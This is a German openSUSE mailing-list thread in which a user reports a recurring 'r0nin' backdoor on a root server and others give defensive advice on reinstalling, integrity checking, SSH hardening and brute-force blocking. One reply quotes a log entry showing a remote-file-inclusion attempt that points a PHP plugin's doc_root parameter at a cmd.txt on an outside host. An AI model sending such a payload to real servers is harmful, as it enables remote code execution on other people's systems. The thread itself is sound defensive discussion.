On Fri, Jan 18, 2008 at 10:38:18AM +0100, Ralf Prengel wrote:

1) Rechner vom Netz nehmen 2) Per Boot CD ein Image für die Analyse machen 3) Rechner komplett formatieren und komplett neu aufsetzten Keine Übernahme von Dateien aus dem Altsystem die du nicht 100%ig prüfen kannst.

Genau. Und nach dem neu aufsetzen aide installieren und die Datenbank auf eine CD-RW brennen. -- Um die Liste abzubestellen, schicken Sie eine Mail an: opensuse-de+unsubscribe@opensuse.org Um eine Liste aller verfuegbaren Kommandos zu bekommen, schicken Sie eine Mail an: opensuse-de+help@opensuse.org

Am Freitag, 18. Januar 2008 11:21:03 schrieb Juergen Langowski:

On Fri, 18 Jan 2008 10:29:34 +0100, Ralf Schneider

wrote:

...

Hallo zusammen,

so wie es aussieht, habe ich mir auf meinem Root-Server eine Backdoor eingefangen (r0nin). Hierbei werden Dateien (zwei tgz-Files, ein Perl-Skript, das Executable r0nin und ein telnet-Programm) nach /tmp und /var/tmp kopiert. Außerdem läuft ein Prozess r0nin unter dem Benutzer sdb.

Meine Fragen: - Auf welchem Weg kann man sich sowas einfangen? Gibt es in irgendwelchen Programm Schwachstellen, die das ermöglichen? - Wie werden ich das wieder los? Einfach nur die Dateien löschen und den Prozess killen hilft nichts. Spätestens nach einem Tag ist alles wieder da.

Beliebte Einfallstore sind unsichere PHP-Skripte, z.B. Content-Management-Systeme, Gästebücher, Formulare.

Im Log bei mir ist haufenweise sowas zu finden /intern/modules/addons/plugin.php?doc_root=http://charitygrants.org/images/cmd.txt? Ist das ein Versuch solch ein Backdoor zu installieren? Bye Michael -- Es gibt drei Möglichkeiten, eine Firma zu ruinieren: mit Frauen, das ist das Angenehmste; mit Spielen, das ist das Schnellste; mit Computern, das ist das Sicherste. -- Oswald Dreyer-Eimbcke _____________________________________________________________________________ http://macbyte.info/ Mobile Loadavg.: 0.90 0.76 0.83 http://dattuxi.de/ Registered Linux User #228306 Linux 2.6.22-14-x86_64 ICQ #151172379 -- Um die Liste abzubestellen, schicken Sie eine Mail an: opensuse-de+unsubscribe@opensuse.org Um eine Liste aller verfuegbaren Kommandos zu bekommen, schicken Sie eine Mail an: opensuse-de+help@opensuse.org

On Freitag, 18. Januar 2008, Juergen Langowski wrote:

Gleiches gilt für das SSH-Login. Aus Sicherheitsgründen lassen wir nur noch Login mit Key für einen normalen Benutzer zu (nicht root) und haben außerdem den Port verlegt, was die meisten automatisierten Skripte ins Leere laufen lässt und die Logfiles erheblich übersichtlicher macht.

Es sollte zur Vollständigkeit aber auch erwähnt werden, dass aus manchen Netzen die restiriktiveren Firewallregeln unterliegen ein Zugriff auf einen anderen als Port 22 nicht erlaubt sein könnte. Bevor man sich also selber von seinem Server aussperrt lieber vorher schlau machen. Das war auch der Grund warum ich den Port von meinem SSH-Server wieder zurück auf 22 legen musste. MfG Marco

Hallo, Am Freitag, den 18.01.2008, 14:19 +0100 schrieb Michael Raab:

Am Freitag, 18. Januar 2008 12:41:43 schrieb Marco Roeben:

...

On Freitag, 18. Januar 2008, Juergen Langowski wrote:

...

Gleiches gilt für das SSH-Login. Aus Sicherheitsgründen lassen wir nur noch Login mit Key für einen normalen Benutzer zu (nicht root) und haben außerdem den Port verlegt, was die meisten automatisierten Skripte ins Leere laufen lässt und die Logfiles erheblich übersichtlicher macht.

Es sollte zur Vollständigkeit aber auch erwähnt werden, dass aus manchen Netzen die restiriktiveren Firewallregeln unterliegen ein Zugriff auf einen anderen als Port 22 nicht erlaubt sein könnte. Bevor man sich also selber von seinem Server aussperrt lieber vorher schlau machen. Das war auch der Grund warum ich den Port von meinem SSH-Server wieder zurück auf 22 legen musste.

Ich habe in meinem heimischen Netzwerk SSH an der Hardwarefirewall Dicht gemacht. Wenn ich denn mal via SSH mit meinem Serverpark Kontakt aufnehmen muss, verbinde ich mit meinem Schleppi via VPN mit der Heimat, wo dann wieder SSH möglich ist. Denn diese automatisierten Zugriffe sprengten hier fast die Festplatten. 20 - 30 Tausend Zugriffe pro Tag waren keine Seltenheit.

Ich verwende auf meinen Servern das Tool denyhosts - bei Debian Etch und Ubuntu seit 6.06 standardmäßig Bestandteil der Distribution - um die unerwünschten Kontaktaufnahmen auszusperren. Nach einer einstellbaren Anzahl von Kontaktversuchen, werden weitere Versuche abgewiesen. Hat sich für mich als sehr wirksam gezeigt. Dann gibt's auch noch Tools zur umgehenden Entdeckung neuer oder veränderter Binaries in vorgewählten Verzeichnissen (Standard: /bin, /sbin und /usr/bin bzw. /usr/sbin) durch ebenfalls einstellbar regelmäßigen (täglichen/stündlichen) Abgleich der Checksum mit den gespeicherten Sollwerten des nicht infizierten Systems. Man muss nur daran denken, nach dem Einspielen von Patches die Datenbank neu zu initalisieren, um Fehlalarme zu vermeiden ;-) Äußerst wichtig sicher auch die lange von vielen Providern nicht angebotenen Firewall-Funktionen, die alle Ports dicht machen, die nicht unbedingt gebraucht werden. Herzlicher Gruß Dr. Reiner Pietrzak Abonnierte SuSE Mailinglisten -- Um die Liste abzubestellen, schicken Sie eine Mail an: opensuse-de+unsubscribe@opensuse.org Um eine Liste aller verfuegbaren Kommandos zu bekommen, schicken Sie eine Mail an: opensuse-de+help@opensuse.org

Am 18.01.08 schrieb Marco Roeben :

Hört sich sehr gut an. Ich werd mal nen Blick auf die Tool s werfen ob das was für mich ist. Man lernt nie aus auf dieser Liste. :-)

Sieh Dir auch fail2ban an. Achja: http://www.de.debian.org/doc/manuals/securing-debian-howto/ Umlegen des ssh-Ports ist Security by Obscurity. Gruß Martin -- Um die Liste abzubestellen, schicken Sie eine Mail an: opensuse-de+unsubscribe@opensuse.org Um eine Liste aller verfuegbaren Kommandos zu bekommen, schicken Sie eine Mail an: opensuse-de+help@opensuse.org